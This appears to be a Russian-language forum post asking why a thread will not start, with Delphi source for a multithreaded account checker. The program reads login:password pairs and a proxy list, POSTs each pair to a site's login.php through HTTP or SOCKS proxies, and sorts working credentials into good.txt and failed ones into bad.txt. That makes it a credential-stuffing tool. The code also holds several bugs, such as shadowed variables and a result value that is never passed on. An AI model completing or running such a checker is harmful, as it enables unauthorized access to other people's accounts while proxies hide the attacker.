Поток не может запустится

unit Unit1;
 
interface
 
uses
  Winapi.Windows, Winapi.Messages, System.SysUtils, System.Variants,
  System.Classes, Vcl.Graphics,
  Vcl.Controls, Vcl.Forms, Vcl.Dialogs, HTTPsend, Vcl.StdCtrls, IdBaseComponent,
  IdComponent, IdTCPConnection, IdTCPClient, IdHTTP, SyncObjs;
 
type
  TForm1 = class(TForm)
    Button1: TButton;
    Button2: TButton;
    Button3: TButton;
    Button4: TButton;
    Label1: TLabel;
    Label2: TLabel;
    Label3: TLabel;
    Label4: TLabel;
    Label5: TLabel;
    Label6: TLabel;
    Label7: TLabel;
    Label8: TLabel;
    ComboBox1: TComboBox;
    Edit1: TEdit;
    Memo1: TMemo;
    OpenDialog1: TOpenDialog;
    procedure Button1Click(Sender: TObject);
    procedure Button2Click(Sender: TObject);
    procedure Button3Click(Sender: TObject);
    procedure FormCreate(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;
 
type
  pwpotok = class(TThread)
  public
  pwpotok: TThread;
 
  private
    { Private declarations }
  protected
    procedure Execute; override;
    procedure Synch;
    constructor Create(CreateSuspended: Boolean);
    destructor Destroy; override;
  end;
 
var
  listacc: TStringList;
  Form1: TForm1;
  GoodFile, BadFile:textfile;
  delitel: String;
  ProxyType: String;
  acc, thread: integer;
  work: Boolean;
  ProxyList: TstringList;
  lp: TStringList;
  cs: TCriticalSection;
  CurAcc, TP:integer;
  HTTP:THTTPSend;
  IP, Port:string;
  data:TStringStream;
  HTML, src:TStringList;
  FLogin,FPassword,Rezult: String;
 
 
implementation
{$R *.dfm}
constructor pwpotok.Create(CreateSuspended: Boolean);
begin
  inherited Create(false);
   FreeOnTerminate:= true;
end;
 
procedure TForm1.Button1Click(Sender: TObject);
begin
form1.OpenDialog1.InitialDir:= extractfiledir(application.ExeName);
if form1.OpenDialog1.Execute then
  begin
    listacc.Clear;
    listacc.LoadFromFile(form1.OpenDialog1.FileName);
    Label2.Caption:=inttostr(listacc.Count);
  end;
end;
procedure TForm1.Button2Click(Sender: TObject);
begin
form1.OpenDialog1.InitialDir:= extractfiledir(application.ExeName);
if form1.OpenDialog1.Execute then
  begin
    ProxyList.Clear;
    ProxyList.LoadFromFile(form1.OpenDialog1.FileName);
    Label4.Caption:=inttostr(ProxyList.Count);
  end;
end;
procedure TForm1.Button3Click(Sender: TObject);
var
GoodFile, BadFile:textfile;
delitel: String;
ProxyType: String;
acc, thread: integer;
work: Boolean;
potok: pwpotok;
  begin
   AssignFile(GOODFile,ExtractFileDir(Application.ExeName)+'good.txt');
   Rewrite(GoodFile);
   CloseFile(GoodFile);
 
   AssignFile(BadFile,ExtractFileDir(Application.ExeName)+'bad.txt');
   Rewrite(BadFile);
   CloseFile(BadFile);
 
   if pos(':', listacc.text) <> 0 then
   delitel:= ':' else delitel:= ';';
 
   if form1.ComboBox1.ItemIndex = 0 then
   ProxyType:= 'http' else ProxyType:= 'socks';
 
   Acc:=-1;
   Work:=true;
   label6.Caption:= '0';
   label8.Caption:= '0';
 
   for Thread:=1 to strtoint(edit1.text) do
   potok:=pwpotok.Create(false);
 
 
end;
 
procedure TForm1.FormCreate(Sender: TObject);
begin
listacc:=TStringList.Create;
ProxyList:=TStringList.Create;
lp:= TStringList.Create;
cs:= TCriticalSection.Create;
end;
 
destructor pwpotok.Destroy;
begin
inherited;
FreeAndNil(HTTP);
end;
 
procedure pwpotok.Execute;
var
FLogin,FPassword:String;
Rezult: integer;
begin
 while Work do
  begin
 
   CS.Enter;
    Inc(Acc);
    if Acc<listacc.Count-1 then CurAcc:=Acc else Work:=false;
    if 1<Proxylist.Count-1 then TP:=1 else begin end;
   CS.Leave;
 
   if Work then
    begin
 
     //copy login
     FLogin:= Copy(listacc[CurAcc],1,Pos(delitel,listacc[CurAcc])-1);
     FPassword:= Copy(listacc[CurAcc],Pos(delitel,listacc[CurAcc])+1,Length(listacc[CurAcc]));
     ShowMessage(flogin+' : '+fpassword);
 
     //copy proxy
     if ProxyList.Text = '' then
     begin
      sleep(0);
     end
      else
     begin
     IP:=Copy(ProxyList[TP], 1, Pos(':', ProxyList[TP])-1);
     Port:=Copy(ProxyList[TP],Pos(':',ProxyList[TP])+1,Length(ProxyList[TP]));
     end;
 
     HTTP:=THTTPSend.Create;
     //Заголовки
     with HTTP do begin
      Headers.Add('Accept: text/javascript, application/javascript, application/ecmascript, application/x-ecmascript, */*; q=0.01');      MimeType:='application/x-www-form-urlencoded';
      Headers.Add('Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3');
      Headers.Add('Connection: keep-alive');
     end;
 
     //POST
     data:=Tstringstream.Create; //Инициаллизируем
     data.WriteString('log='+ Flogin+'&pwd='+ Fpassword); //Добавляем параметры
     HTTP.Document.LoadFromStream(data); //Загружаем
 
     //Выставляем Proxy
     if Proxylist.Text = '' then
      begin
      sleep(0)
      end else
     begin
     //socks
     if proxytype='socks' then
     begin
     HTTP.Sock.SocksIP:=IP;
     HTTP.Sock.SocksPort:=Port;
     end;
     //HTTP
     if proxytype='http' then
     begin
     HTTP.ProxyHost:=IP;
     HTTP.ProxyPort:=Port;
     end;
     end;
 
     if HTTP.HTTPMethod('POST', 'http://site.ru/login.php') then begin
     if pos('Set-Cookie: pwd=', HTTP.Headers.Text)<>0 then //Проверяем успешна-ли авторизация
     Rezult:=1 else Rezult:=-1;
 
     HTTP.Free;
     src.Free;
     data.Free;
     Synchronize(Synch);
    end;
  end;
 
 dec(Thread);
 if Thread=0 then ShowMessage('Всё ок');
end;
end;
procedure pwpotok.Synch;
var
FLogin,FPassword: String;
Rezult: integer;
begin
case Rezult of
1: begin
    //form1.Label6:= form1.Label6 + inttostr(strtoint(form1.Label6)+1);
    Append(GoodFile);
    WriteLn(GoodFile, FLogin+':'+FPassword);
    closefile(GoodFile);
   end;
-1: begin
    //form1.Label8:= form1.Label8 + inttostr(strtoint(form1.Label8)+1);
    Append(BadFile);
    WriteLn(BadFile, FLogin+':'+FPassword);
    closefile(BadFile);
end;
end;
end;
end.